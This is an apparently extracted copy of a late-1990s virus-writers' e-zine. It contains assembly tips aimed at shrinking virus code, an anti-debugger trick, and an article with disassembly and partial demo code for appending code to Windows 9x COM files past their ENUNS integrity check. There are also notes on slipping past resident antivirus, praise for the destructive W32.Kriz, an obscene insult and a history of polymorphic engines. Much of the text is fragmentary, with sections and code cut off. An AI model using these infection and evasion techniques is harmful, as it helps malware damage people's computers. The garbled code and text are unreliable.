Professional Documents
Culture Documents
As in the first issue we aren't aimed on quantity but on quality. So there aren't many viruses but a quality of
articles and presented viruses will compense it excelently.
How to contact us
To get in touch with us, you can contact us by e-mail on asterix_zine@hotmail.com - all your email
containing suggestions, questions or support are welcomed. Of course, you can contact us directly and/or
presonally, if you know us :) Because we don't.
For secured communication please use this pgp key - as you know - enemies are everywhere, do not
trust anyone. But you can trust us. Secret government agencies are watching all around (echelon, for
example), like these messages. So don't be trapped by some of them, take a apropriate countermeasures.
Our crew
Greetz
Virus scene
Benny / 29A - calm down dude and don't get busted, & thx 4 help. btw: how about not focusing
on unimportant features on your page, but tu supply a real stuff (nothing in there
now)
Prizzy / 29A - no matter how greatfully it sounds, but what it actually does :) (yer crypto thingy)
Duke / [SMF] - changed to av side ??? good idea - you can make fortune from removing .bat
viruses ;-)))
Lord Julus - nice educational work, you outrunned us ;-)
Metabolis - QuantumG, Qark - its usual to greet VLAD members :)
VicodinES - good luck and take some books to shorten the time at holidays
Chris Pile - tell to Vic how it goes
Virogen - put your page up again
Recoder - what is updated on your vx page?
Cicatrix - keeep VDAT up to date .... go on with your work
VirusBuster - r u henpecked? publish some details! :)
Vecna - congratz, Babylonia rules (but still some important things missing that beats you
up) .... what 'll you bring as next?
RAID - definatelly, you should learn ASM :-P
Peon - you've completelly missed idea of Navrhar. That's why your disassembly is just
nothing. sorry ;-)
Kevin - welcome back soon
Antivirus scene
dark_wade / Lynx - wondering how a antivirus reseller (whose company was intented to
bust vyvojar, for example!) can be opped on #virus ?!
????????? / ?????? - thanx for interview
l- - aren't u too old for thing all around today?
Eugene Kaspersky / AVP - if you wanna be a NAI rival, don't you need a banner on our site as
well?
Vesselin Bontchen / F- are u still alive? there is nearly noone now who can quarrel guys on
Secure - av scene
Thank you for paying attention (and for all the fish as well). Hope you found at least something interesting in
our second and seems to be last issue. But we are not quitting, so keep watching our site.
*-zine editors.
Whoever is the genius in the advertisement deptartment at Microsoft, they have done it this
time. Anybody seen the IE ads on TV started in 1997? The one with a very effective choral
music playing in the background? Well, the background music is the Confutatis Maledictis
from Mozart's Requiem (Mass for the dead). And the words of the final blast of music which
accompanies "Where do you want to go today?" are saying "confutatis maledictis, flammis
acribus addictis..." which means "the damned and accused are convicted to flames of hell".
Is this the right message for an ad?
Just beeing curious about f/win 4.21g I looked a little bit inside. And can you imagine my
suprise? What do you think I found inside? (wwpack protection removed by cup386 ver
3.20) This nice piece of text has been found:
* Welcome! If you read this, you have just give me the proof that my opinion
about you is correct. You are one of these bastards that think cracking or
stealing other people hard work is just the right way to go (like the authors of
HMVS and PERFORIN seem to think). Well, I can`t stop you. But I watch and wait.
And never forget... *
Another interesting piece of AV software is HMVS. When someone will take a look, there
are here interesting things to see...
Unix is an operating system, OS/2 is half an operating system, Windows is a shell, and
DOS is a boot partition virus.
-- Peter H. Coffin
USER, n.:
The word computer professionals use when they mean "idiot".
Where a calculator on the ENIAC is equipped with 18,000 vacuum tubes and weighs 30
tons, computers in the future may have only 1,000 vacuum tubes and weigh only 1 1/2
tons.
-- Popular Mechanics, March 1949
C isn't that hard: void (*(*f[ ])( ))( ) defines f as an array of unspecified size, of pointers to
functions that return pointers to functions that return void.
PROGRAM - n. A magic spell cast over a computer allowing it to turn one's input into error
messages.
Every asm coder wants to produce fast, short and efficient code. In asm language the things should be
always pushed to the limits. Imagine, 58 bytes are enough to display color PCX file on the screen, 2 bytes
can cause system restart etc...
Especially virus coders should produce tight and effective code, it is not very pleasant thing to see
unoptimized code of viruses. Sometimes the optimisation can spare couple hundred bytes - good reason to
deal with this interesting topic.
Index
0. What is optimization
A. Opening words
B. Uninicialized data
C. Register settings in various situations
D. Putting 0 in register
E. Test if register is clear
F. Putting 0FFh in AH, 0FFFFh in DX and CX
G. Test if registers are 0FFFFh
H. Using EAX/AX/AL saves bytes
I. MOV vs. XCHG
J. 16 bit and 8 bit registers
K. Registers and immediate operands
L. Segment registers playground
M. The string instructions
N. DEC/INC vs SUB/ADD plus SI/DI
O. SHR/SHL
P. Procedures
Q. Multiple pops/pusheh
R. Object code
S. Structure of code
T. Arithmetics with SIB (LEA)
0. What is optimization
Process of optimization is process of doing domething more efficient, more reliable, faster or better and less
buggy. This in programming means faster execution of program, reducing of its size etc. Coding of viruses is
mostly programming in assembly, thus producing of fast and short code. But everything can be done better,
even assembly code can be coded shorter. Some tips are included in this tutorial.
A. Opening words
There are some things, you should really avoid in your programs, doesn't matter if it is virus or some utility.
First of all remove all unnecessary code - in a good program there should be no NOPs. Another good tip is
examining the jumps in program - try to find out, if some JMP NEAR can not be replaced by JMP short. Good
test is trying to remove directive jumps in beginning of the source code. Forward refferences are bad for
optimization they produce unnecessary NOPs in some cases.
Very bad idea idea is calculating in the code some weird value which could be calculated directly in the
source code using operands and parenthesses.
B. Uninitialized data
Viruses often need some memory for e.g. loading original EXE header. This could be done with following
code (similar code could be often seen in viruses)
call read_header
call process_it
.....
buffer: db 18 dup (?)
.....
read_header:
mov ax, 4200h
xor cx, cx
cwd
int 21h
mov cx, 18
mov dx, offset buffer
mov ah, 3f
int 21h
Well, as you can seek if you place the uninicialized data in your virus somewhere inside the body size of the
resulting code is larger as necessary. Therefore avoid placing uninicialized variables, structures or buffers in
the code. All the mentioned things should be placed on the heap. To see example how it should not look like,
just take a look on your COMMAND.COM - in the one of DOS 6.22 as well as of Windows 98 you will seek a
lot of zeroes near the EOF. That code is especially poor optimized. Try to use something like
virus_code_end label near
buffer: db 1024 dup(?)
As we all know Turbo Debugger sets all general registers to 0. When we some perform operation like
xor cx, bp
... some code not affecting cx
cmp cx, 93Eh
jne TD_is_here
... no debuger here
This way virus can easy escape from debugger. But on good writtten emulation system we are without any
chance because they (AV) know we know and they are ready. But we can easy top all the wannabies trying
to "research" our virus and give them the fun they want to have.
D. Putting 0 in register
1. Clearing whatever register
The usual way of clearing a register is
B8 0000 mov ax, 0 ; costs 3 bytes
33 C0 xor ax, ax ; is more optimised
2B C0 sub ax, ax ; only 2 bytes !
This above mentioned approach can be used every time you need. Under Win32 is the above
mentioned optimization more efficient, just take look at following piece of code:
B8 00000000 mov eax, 0 ; costs 5 bytes
33 C0 xor eax, eax
2B C0 sub eax, eax ; costs only 2 bytes
2. Clearing AH
Let's assume the situation we need to clear the AH register. Generally we will do it this way:
B4 00 mov ah, 0 ; cost 2 bytes in DOS
2A E4 sub ah, ah
32 E4 xor ah, ah ; is the same
but if the AL walue is less than 80h we can save a byte (DOS)
98 cbw
3. Clearing DX
We use the same approach as with AH. If value in AX <8000h we can use
99 cwd
to clear the DX
4. When is CX clear?
There is absolutely useless use code like
....
loop some_label
xor cx, cx ; or even worse - mov cx, 0
because after the exit from some loop (i do not mean hard or conditional jump out of the loop) the CX
register is already cleared as well as after the REP ??? operations.
will set for us sign flag if the register is zero. Situation under Windoze is similar:
83 F8 00 cmp eax, 0
0B C0 or eax, eax
0B C0 or eax, eax
66| 0B C0 or ax, ax ; this is not default
; operand size
2. The CX register
In x86 processors CX register is used as counter, the instruction set supports this use.
E3 ?? jcxz some_label
jumps when CX is zero, we do not need comprare CX with zero. But especially demo coders should
pay attention to the fact, this instruction is relatively slow.
instead of
3D FFFF cmp ax, 0ffffh
75 ?? jnz a
83 FB FF cmp bx, 0ffffh
75 ?? jzn a ; making 10 bytes
MOV reg,mem
A1 0084 mov ax, word ptr ds:[84h] ; 3 bytes
8B 1E 0084 mov bx, word ptr ds:[84h] ; 4 bytes
A0 0084 mov al, byte ptr ds:[84h] ; 3 bytes
8A 26 0084 mov ah, byte ptr ds:[84h]
8A 3E 0084 mov bh, byte ptr ds:[84h] ; 4 bytes each
MOV mem,reg
A3 0084 mov word ptr ds:[84h], ax ; 3 bytes
89 1E 0084 mov word ptr ds:[84h], bx ; 4 bytes
A2 0084 mov byte ptr ds:[84h], al ; 3 bytes
88 26 0084 mov byte ptr ds:[84h], ah
88 3E 0084 mov byte ptr ds:[84h], bh ; 4 bytes each
CMP reg,value
3D 04D3 cmp ax, 0D304h ; 3 bytes
81 FB 04D1 cmp bx, 0D104h ; 4 bytes
3C 22 cmp al, 34 ; 2 bytes
80 FC 22 cmp ah, 34
80 FF 22 cmp bh, 34 ; 3 bytes each
STOS type save 2 bytes in comparision with move. Therefore MOVS instruction save 3 bytes (is the same as
LODS followed by STOS).
AE scasb
26: 3A 05 cmp al, byte ptr es:[di]
AF scasw
26: 3B 05 cmp ax, word ptr es:[di]
66| AF scasd
66| 26: 3B 05 cmp eax, dword ptr es:[di]
SCAS type instruction save 2 byte in comparition with CMP. CMPS instruction does the same as
LODSB/LODSW/LODSD
CMP AL/AX/EAX, byte/word/dword ptr ES:[DI]
We dont have to omit REP prefixes - using this 1 byte sized instruction we can do miracles almost at no
costs. In addition after REP ??? is CX set to 0
Even if we need to add/sub 2 from register inc/sub twice is 1 byte shorter. For SI/DI if AX doesn't matter we
can use some of string instruction for INC/DEC (depending on direction flag).
O. SHR/SHL
SHR/SHL instructions can be used for division/multipliing by 2/4/8 etc.. instead of DIv/MUL instructions.
While by DIV/MUL we have to fill register with needed value, we can instead of
B1 02 mov cl,2
F6 E1 mul cl ; 4 bytes in total
use just
C0 E0 02 shl al,2
for multiply al with 4 and save a byte here. If we are multiplying just by 2, we can save 2 bytes because
D0 E0 shl al,1
P. Procedures
If the some code is used over and over again it is very clever to put such a piece of code in procedure. It
could save some valuable bytes, but we have to say, in other cases this could also add some bytes to code.
How could you decide if putting the code in procedure can save bytes ? Let the number of repeating use of
some piece of code be N, its size will be S, the number of saved or lost bytes will be B. When the code is not
part of procedure, its total size will be N*S. But when we put the code in the procedure, the resulting size of
code will be
( S+1 ) + N*3 + A
this should be understand as
(ret + the size of code) + N*3 bytes for each call + difference
And the resulting equation is
N*S = (S+1) + 3*N + A
N*S - 3*N - (S+1) = A
N*(S-3) - S - 1 = A
from the formula above you can clearly see, that every repeated code which size is 3 bytes or less can not
be replaced by procedure in the process of optimisation. When we know the size of code (which should be at
least 4 bytes) and the number of repeating we can estimate the number of saved bytes. So, for code with
length of 4 bytes we save 1 bytes, if the code is repeated 6 times and put in the procedure.
Next thing you can do with procedures, is using multiple entry points for the same procedure.
Q. Multiple pops/pusheh
Sometimes situation arises where you have need to repeat lot of pushes or pops couple of times. If you
thinking goes in the direction "procedure" it goes the right way. But with push/pop instruction is one little
problem - the instruction manipulates stack pointer as well as the CALL does. But the instruction set provides
solution - the JMP register instruction. We can handle multiple pushes/pops like this
call push_reg
...
...
push_reg:
pop si ; pop return adress
push ax
push cx
push dx
push bx
jmp si ; this does what ret normally does
R. Object code
Some opcodes are in some memory models aren't accesible. Therefore to use some workaround. Most
typical use of object code in virus if famous return to original dos handler:
back db 9ah ; this is for JMP FAR PTR
dosadr dd ? ; and here comes the adress
but as the every copy of virus will have different key, we code this instruction as
db 35
key: dw ?
Size of the code above is 26 bytes. Every added handled function adds just 3 further bytes. But when we use
this virus typical sequence of CMP, JE/JNE, JMP the it will look like:
80 FC 40 cmp ah, 40h
75 03 jne check_3e
E9 022D jmp infect
check_3e:
thus we have to count at least 8 bytes for every single handled function. If we want to hadle 10 functions, it
will be as much as 80 bytes. Structured coding from previous example will fit the same function in only
(26+3*8) = 50 bytes. 30 bytes saved, do i have to further explain all the pluses structured coding can bring to
you?
Scale is register (any 32bit) multiplied by 1, 2, 4 or 8; Index is another 32bit register, and finally Base is a raw
offset. Base is a 32bit value as well, that takes another 4 bytes, but it might be used also without this
constant.
You can use if for aritmetical operations, even more it is faster than comparisonable equivalents using
multiplying or shifts, and you can perform a mutliplication for even non-standard values, like eax mul 9, for
example:
8D 04 C0 lea eax, [eax*8+eax]
As you can see, this lea-trick can be used in many circumstances, and I'll not list them all here, of cos.
Hope this little introduction helps you with some ideas, but you surely know: "truth is out there" - you need to
optimize your code in more general context, not only on instruction base, but on register usage optimizing
and stack usage as well, and there are many other things that can't be decribed in such a general way. May
be it is for another article. But for now, go ahead and won't your code be pesimised...
Introduction
In the old goodtimes there were nothing easier as infecting COM file. But the Microsoft went to market with
his Windoze 9x series of betas. This has changed some COM files and near the EOF we started to see
string 'ENUNS' followed by word with various value. This is apparently some kind of checksum or other
security shit. Many virus coder solved the this problem simply by avoiding the infection of such a modified
COM files.
Research part
But as we all know, Microsoft is lame company and its programmers are morons. So let's take a closer look
what does such a ENUNS file in action. We will pick up a handy and short file from directory
C:\WINDOWS\COMMAND - file choice.com
If we 'll play a little bit with hex editor and we 'll add some extra bytes to the end of the file, after running
CHOICE.COM without any command line parameters, we will see
[ , ]?
Let's start debuging this file. After couple of jumps and calls we land in following code
cs:0B27 1E push ds
cs:0B28 06 push es
cs:0B29 1F pop ds
cs:0B2A 8B D7 mov dx, di
cs:0B2C 83 C2 03 add dx, 3
cs:0B2F B8 00 3D mov ax, 3D00h
cs:0B32 CD 21 int 21h
Call to the test_ENUNS seem to be quit important. Closer look shows what this procedure does:
cs:0B7F 06 push es
cs:0B80 33 C9 xor cx, cx
cs:0B82 33 D2 xor dx, dx
cs:0B84 83 EA 07 sub dx, 7
cs:0B87 83 D9 00 sbb cx, 0
cs:0B8A B8 02 42 mov ax, 4202h
cs:0B8D CD 21 int 21h
cs:0B8F B9 07 00 mov cx, 7
cs:0B92 03 C1 add ax, cx
cs:0B94 83 D2 00 adc dx, 0
cs:0B97 A3 80 05 mov size_lo, ax
cs:0B9A 89 16 82 05 mov size_hi, dx
cs:0B9E B8 00 3F mov ax, 3F00h
cs:0BA1 8D 16 92 05 lea dx, ds:592h
cs:0BA5 CD 21 int 21h
cs:0BA7 72 1A jb bad_handle
The routine seek to EOF-7 and read last 7 bytes of the file to some buffer. Filesize is saved on this occasion.
cs:0BA9 81 3E 95 05 4E 53cmp word_0_595, 'SN'
cs:0BAF 75 12 jnz bad_handle
Word at location EOF-2 is subtracted from the file size and result is stored.
cs:0C0F BE 01 00 mov si, 1
cs:0C12 E8 16 00 call sub_0_C2B
cs:0C15 73 0F jnb loc_0_C26
cs:0C17 8B 0E 80 05 mov cx, size_lo
cs:0C1B 8B 16 82 05 mov dx, size_hi
cs:0C1F 33 F6 xor si, si
cs:0C21 E8 07 00 call sub_0_C2B
cs:0C24 72 03 jb loc_0_C29
cs:0C26 E8 7F 00 call sub_0_CA8
cs:0C29 07 pop es
cs:0C2A C3 retn
From our (virus) point of the view is decising the call to cs:0xC2B.
cs:0C2B 51 push cx
cs:0C2C 52 push dx
cs:0C2D B8 00 42 mov ax, 4200h
cs:0C30 CD 21 int 21h
Location inside the file is checked for presence of string 'NS'. This is what the program does with the magic
'ENUNS' shit. Quit lame and interesting at the same time. Well as we know what the does, we should try to
create some workaround.
What do we need?
There are two requests for elegant solution of the problem
1. User should see at the EOF-7 the string 'ENUNS' followed by word containing "magic value".
2. File has to pass its internal controll routine.
Solution
We take common non-overwriting appending COM infector. If we choose some ENUNSed targed and we will
infect it in normal way, the proggy with virus on its end will have no 'NS' at EOF-4. In the very rare case it will
have 'NS' there, word at EOF-2 sends the file pointer somewhere in deep space 9 and the next check will fail.
Therefore solution of the problem is
As we need to have at least 'NS' at EOF-4, in the line of our elegant solution we will add there 'ENUNS'
string. Then we need to adapt the word at EOF-2 in such a way it will point to the location it pointed before
the file was infected.
The word located at EOF-2 is subtracted from file size - it could be expressed as follows
uninfected situation:
X + virus size + added code = filesize + virus size +added code - (word at EOF-2)
Resulting pointer is now "somewhat" incorrect from our viral point of the view. This dramatic equation is easy
to solve just by moving some shit from left to right side of the equation...
X = filesize + virus size +added code -(word at EOF-2+ virus size+ added code)
note: under the term "added code" you should understand our 2nd 'ENUNS??' string.
Dear readers, the solution for the ENUNS problem is just to copy the last 7 bytes from the target file to the
end of the virus body with only one change - to the value of last word in the file we simply add the size of all
appended code including our duplicite ENUNS?? string.
model tiny
codeseg
org 100h
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³Diz is demonstation proggy to show easy way to handle Micro$oft's³
; ³ENUNS protection of COM files from the viral point of the view ³
; ³ ³
; ³To compile the file use Borland's Turbo Assembler with following ³
; ³switches: ³
; ³ tasm enuns.asm ³
; ³ tlink /t enuns.obj ³
; ³ ³
; ³The resulting enuns.com should have exactly 512 bytes. Exactly 1 ³
; ³sector in size :P ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CR equ 0Dh
LF equ 0Ah
start:
mov ah, 1Ah
lea dx, DTA
int 21h ; own DTA (so we don't screw _argv)
mov ah, 9
lea dx, open_message
int 21h
mov al, byte ptr ds:[80h]
or al, al
jnc path ; got parameter ?
lea dx, path_miss
jmp short @@2
path:
cbw
xchg ax, si
mov byte ptr ds:[81h+si], '$'
lea dx, assumed
mov ah, 9
int 21h
mov dx, 81h
int 21h ; print path+filename
search:
mov ah, 4Eh
int 21h
jnc open_file
lea dx, not_found ; search the file
@@2: jmp short @@1 ; print error message
open_file:
mov ax, 3D02h
int 21h
jnc open_ok ; open file
lea dx, open_error
ENUNS.ASM
pop ax
cwd
xor cx, cx
int 21h ; seek 2 end
put_msg:
mov ah, 9
int 21h
int 20h
open_message:
db 'ENUNS workaround demo by MGL',CR,LF,CR,LF,'$'
path_miss:
db 'No path specified !',CR,LF,CR,LF,'$'
assumed:
db 'Target file assumed : $'
not_found:
db 'File not found !$'
open_error:
db CR,LF,'Error opening target file!',CR,LF,'$'
demo: db CR,LF,'ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿'
db CR,LF,'³This text is added to the file just for the demonstration³'
db CR,LF,'³of Micro$oft lameness in design of ENUNS protection ³'
db CR,LF,'ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ'
xtns equ $ - offset demo
enuns db 7 dup (?)
DTA:
end start
Did you ever take a care about FAT filesystem? Did you experienced over new one that Windows'95 brings?
I played with old FAT a long time ago, I did a lots of work with it, like disk recoveries, crashed disks, etc, even
repairing disk by phone (filling in all numbers computed in head for partition and boot by talking via phone). I
wrote several FAT emulators r/w (guess for what reasons ;-), some recovery utilities, disk swapping tools
(changing internal dos/windows stuff for swapping disks, booting from non-primary partitions, etc), on-fly
mounting an unmounting disk utils for dos/win. I would say I was quite familiar with FAT.
But things getting changed. I've installed a new Windows on my computer some time ago (you have to do so
in current contitions), swapped to FAT32. It is slower a bit, but functional. Before I have my old (today I would
say "really old") 1GB disk partitioned into 128MB partitions for having 2kB clusters. I used to have lots of
small files, and not to have a big space wasting I had many logical disks on that disk. With FAT32 all these
things are forgotten. But even in that time I never checked new disk structures.
But nice spring evening comes, and CIH does its job. Not on my disk, of'coz as I play with viruses for more
than 8 years. I don't have any active virii on my computer - for that reasons I use best avir 'round the globe -
hiew ;-). Well but friend of mine called me that his office disk crashed (and even his cheef's disk and others
as well) and asked me for help. "CIH" - my first idea was. Of course I was right. Moreover, he wasn't the only
one who asked me for help at that time. And I get experienced with FAT32 immediately.
Well, let's have a look what is changed under FAT32. Of course, cluster numbers are 32bit. What an
advantage. However, as upper 4 bits of cluster number are reserved, gives at maximum 268,435,456
clusters. This makes FAT very long, and slows down a DOS a lot, because it can't load all data into its
buffers at once and forgots first entries it loads - and it has to load it again, forgetting newer entries, then to
load newer once again: if you are familiar with caching algorhitms of victims - it is a classical example of fifo-
bug. I'll divide my tour into some logical sections, covering what is new in all structures. Most of changes are
determined by need of accessing big disks. Really big disks. It has something to deal with int13 address-
space, bioses, and so on.
Partition table
There are two main changes. At first, the code itself is changed for supporting a new accessing methods of
huge disks. You have to think about of adressing space for accessing sectors on disc. May be some of you
remember how the limit of 512MB was famousely broken. Maximum coordinates some time ago were:
However, thinking about maximum 6/6/12 bits or 6/8/10 bits leads to same results. But some of the BIOSes
(IBM based) supports only 4 bits for head, and, of course 10 bits for track. In result it is 63*16*1024 sectors
(each 512 bytes) which is nearly the famouse 512MB limit.
Those disks in old times uses disk managers in order to overcome this limit under all bioses (usualy
emulates int13 call using controller commands performing LBA accessing). LBA introduced in that time
means Logical Block Adress - avoiding old geometry adressing (track/head/sector) with logical sector
number.
Well, 512mb limit is over, but there is another limit - given by maximum accessible number of 3 bytes use for
old-style access 63*64*4096 - an 8GB limit. By the way - MS-DOS (and Win95/98 as well, as it still relies on
old dos routines) has trouble using head 255, and disks must be mapped as maximum 255 tracks (0..254
which can be handles by msdos). Here you can see, how big is Microsoft's influence to hw manufactures -
due to bug in very old OS the still presents hw which overcomes these problems. Moreover - none of disks I
seen within last 2 years uses real geometry but instead of it they use internal translation of geometry from
logical that is indicated to bios and dos, into physical. Well, it is unbelieveable that todays disk has 255
surfaces which means 128 physical magnetic disks with surfaces on both sides - how you can fit it into disk
package aprox inch of height? ;-)
Well, back to 8GB limit of old style adressing (which must be there, otherwise DOS - and its graphical
frontend called Windows can't be started). This can't be simply bypassed this way by increasing some bits. A
new routines for reading must be introduced. Have a look on current partition table code and read: A old
routines 13/02 are still there, but preferable it uses new EDD functions (Enhanced Disk Drive - originaly
found in Phonenix BIOS, but available in AWARD as well). It is detected by calling 13/41, and accessible via
13/42 using qword LBA for adressing sectors.
This qword can't be extracted from old adressing bytes as there isn't enought bits to cover all the needed
information. Thats why begining relative sector is used which has dword size. Of course, introduces a new
limit of 4G sectors = 2TB. Too bad, isn't it? Disk size is rapidly increasing, hope these structures will be
changed within next years.
Also there are four new filesystem codes for partition table entries for FAT32 disks:
Directory entries
I will not speak about LFN entries, as they are already well known I think. All I want to describe where the
32bit cluster value is stored. Low part of cluster number is at the original location, word at +1a bytes in
directory entry. High word is stored at +14 in this entry. Both of them are real index into fat, like under old
fat16/12 system. I also should mention, largest possible file on FAT32 is 4GB minus 2 bytes.
My short description is now over. Are you happy about FAT32 features? Where the hell are features? All is
done as usual - Microsoft extends all stuff in order to keep it working, keeping all fears alive. There is no way
to relyie on old traditions but MS breaks the limits - just like with dos7 and its graphical interface - keeping all
the bugs as tradition that came from win 3.1, old dos, cp/m, etc, etc...
flush
MGL originally placed here my older routines to read/write directly to controller and afterwards I added a
fat12/16/32 emulator. However, I decided to throw it all away and better to discuss why I throw it away.
Because it simply can't work...
Let's start with a little question: Do you use direct disk access in your piece of work? (or would you like to?)
Don't do that! There are many reasons why - but you have to think a bit and you'll sure find some of them.
A time ago virii beats each other in tricks how to pass blocking systems, to write on such a disks, or not to be
caught by resident scanners. Today this idea also looks good - to access disks without having operatings
system know about it, you'll not be found by any resident avir of course (under Windows as well). Its like
entry-point tunneling routines. They usualy works - but only under laboratory contitions. And you have to be
prepared for real life. If vx can't surrive in real, it is unusable - no matter if it replicates on your machine once
it doesn't work on others.
The reason is simple - Microsoft designed all its residental drivers and windows modules in a same way -
placing all one over another, without exactly defined interface, so anyone can do what he wants as long as he
is consisted with upper and lower level. Yeah, it works well, but you have to: take care about order of loading
of such a modules, know what is each module for and what data it has cached. And this is why it can't work
under DOS nor Windows.
In dos, for example, nearly every filesystem-based utility had to be resident on interrupt 21 creating some
sort of chain of drivers, one depending on another. There is also posibility to register some of your
dispatchers directly into dos, but you had to know internal dos stuff to do so - and it is of course slightly
limited (but is a bit a thing I mean). Well, so there are many drivers hooked over int 21, cache, novell netware
disk, resident antivirus (thats why we talk about it too). You can write some cute program that can work on
disc without all this I mentioned (no matter if you are just bypassing some drivers, or directly emulation
filesystem) - on more complicated systems like I mentioned before you will cause a disk-crash. At first, you
can't access disks created by such drivers. Then, driver might have something in their buffers, and you have
no possibility to tell them to flush them. In this case, for example writing to disk a data area that is also
cached by some cache program, and in couple seconds later, cache flushes its buffer to disc discarding your
change. And if it happens in FAT - you can easily imagine what can happen. Of course, there is possibility to
comunicate with such a programs, but as there is no common interface, you can't communicate with all-in-
the-world drivers. And your virus can be easily noticed by a disk inconsistency or even disk crash this way.
Conclusion? Well, you can do some direct things under dos, but remember always to keep everything
consistent - not only with programs you have on you computer, but with programs other users may have.
Under Windows 9x is this situation a bit simmilar. At first, to avoid direct hardware manipulating and to keep
system more consistent there is a hardware virtualization. But you surely know how to fool it - it is quite easy
as you can enter Ring 0. As more things are integrated into windows now (networking, variouse disks are
attached using hardware device manager, cache is build-in, etc) these things becomes more unimportant
every day. And finally, third-party programmers now produces plug-ins for this OS (Windows) instead of
extensions (like for DOS). However, I heard some ideas to access disk directy but the reasons why it will not
work are same as above. Also a disk access dispatcher entrypoint can be rehooked as well under Windows
but if you want to bypass software that is resident in this way, keep in mind you have to do it consistently as
well...
And... Good luck and don't be caught by lusers due to problem in your piece of work you didn't figure about...
flush
Introduction
First of all, let me inform you that this is no "Diary version II" contribution to this excellent zine. It is just an
efford in keeping good, healthy traditions alive, if there's is such a thing.
Anyways, since Mgl asked me to write a little something about "What's up since IR/G?" I couldn't deny him
that. If you feel like you don't want to hear anything further concerning Immortal Riot and are sick tired of my
(I=The Unforgiven) contributions stop reading right now. Then execute some nifty version of w32.Kriz on
your imaginary-girlfriends' computer, connect to your virtual social life and try to hack your way out from your
pity life and if you can't, well go fuck your boyfriend in his arse so you'll wake up the next morning with dry
cum in your hair and shit and pubic hair in your right nosdril.
Background
Immortal Riot was formed in 1993, which in a few words is quite some time ago. Think about 1993 for a few
seconds. 1993 lacked a lot of things we today are taking for granted. To name a few examples, email, www,
cellular-phones, Fast-Ethernet, Video-on-Demand, MP3, JAVA, Pentium, CD-recordable-devices, DOOM,
digital&web-cameras, distance-jobs, online shops/zines/banks, the official Immortal Riot homepage, cheap
media and other things.
This is now considered the stone age and even though I liked playing games like Civilisation and WOLF-3D,
writing trivial COM infectors, plaguing fido-net and so on, it comes a time when one realises that it's time to
move on. When others moved on my learning JAVA, HTML, CGI, setting up www&ftp-sites, coding viruses
for other platforms than DOS (Win95) I decided to take a step back and learn other things in life.
I did however felt that Immortal Riot deserved to live on even though I decided to drop. I left the organisation
to Sepultura and things was going steady, but Sep was left on his own and did pretty much about everything.
I guess he felt like he needed some assistence and after a while IR turned IR/G as a possible solution. IR/G
released Insane Reality #8 and now we've reached the topic for this article.
However, since "We splitted with Genesis due to unknown reasons" isn't exactly what I believe Mgl would like
to publish in an article-entry I felt like had to ramble on about some other things and far more interesting
things, for example where we're now.
T2 are responsible for a lot of good, naughty viruses which all has tormented to world and the best example
is perhaps w32.Krized. It's been reported here, there and everywhere and even though it only fuck-ups the
computer once a year (go check when on http://www.coderz.net/ImmortalRiot) it has caused a bit of panic.
T2 joined IR about a year ago and has ever sinced been giving computer-users around the world a hard
time.
Another new member is Captain Zero and we are all waiting for his projects to be distributed.
Then how about Insane Reality ? Well, what can I say... If someone feels like organising a zine, please
contact me. We have a lot of code to publish but lack some text-material. It's a great challange and a great
fun to release a zine and you shouldn't miss this oppurtunity! If you currently not are a member of IR this is
something that could be arranged.
Greets
Greets goes to every one in who hanged on efnet #virus back in 1994 and actually TALKED and
BREATHED viruses! :). Please Email-me!
Of course, greetings to all new IR members who can continue where the old-timers left off and bear our
colors with a great pride!
Special thanks must however go to T2 for being an excellent representative of Immortal Riot. God bless you!
IRONY! :).
How to contact us
I can be reached on my hotmail adress, which is theunf@hotmail.com.
All changes, code-updates and other new information will be up at our official site located at
http://www.coderz.net/ImmortalRiot (where other IR-members also can be reached).
Disclaimer
This is only my version. If you think it's false, fake, untrue, or whatever, write me a little something and we'll
somehow fix that. Don't held me responsible for being a goofball :).
Closing Words
Enjoy the next millennium, your life, your time on the earth, don't waste it, do whatever makes you happy and
never hesitate to leave things which aren't healthy for you.
The real breakthrough in polymorphism was, though, the release of Dark Avenger's Mutation Engine, or MtE.
This engine was distributed in a form of an object linkable to a file, and was what started the revolution in the
way viruses were written. Anti-virus researchers were at a loss. The traditional methods of detection were
obsolete, since this engine would have needed 4.2 billion signatures, many of which might be present in
legitimate programs. Instead, most anti-virus researchers opted for methods like algorithmic scanning -
checking whether or not code in question could be produced by a polymorphic engine. Several months later,
anti-virus software couldn't reliably detect MtE-generated decryptors.
A second blow came to the anti-virus industry with the release of Trident Polymorphic Engine, written by
Masud Khafir. A more complex algorithm was used for producing encryptors, and again, anti-virus
researchers were left with the task of reliably detecting TPE. While the decryptors themselves weren't
particularly sophisticated, they could easily be mistaken for encryption used in commercial software, and
later, several other engines would be mistaken for TPE samples.
A new concept was introduced in 1993. Neurobasher's new Tremor virus spread widely in Germany. It
seemed to researchers that a suitable algorithm was devised for its detection, yet, the virus continued to
elude scannes in the wild. After thorough analysis of the virus's code, it was found that instead of generating
random numbers, Tremor would use relatively immutable data to create its permutations. New strains would
be generated every, say, full moon or on infecting a new system. This meant that the anti-virus researchers
would need to spend even more time and effort on analysing a polymorphic virus lest they release an
incomplete algorithm.
Meanwhile, across the channel, a British virus writer known as the Black Baron released his polymorphic
viruses built around an engine called SMEG. This engine introduced the concept of generating decryptors
with large amounts of junk instructions present in the decryptors. Once again, scanners had difficulty when
confronted by a new polymorphic beast. It took a much longer time to analyse a piece of code and determine
whether or not it was encrypted by SMEG by picking out the decryptor from the junk.
[MGL's note: If you take closer look on SMEG, you will get the point - generated decryptors are huuuuge ]
From 1992 to 1994, an unknown researcher in Uruguay busily created a family of 10 viruses, each more
polymorphic than the last. The novelty of his approach rested in tracking the code that was generated, and
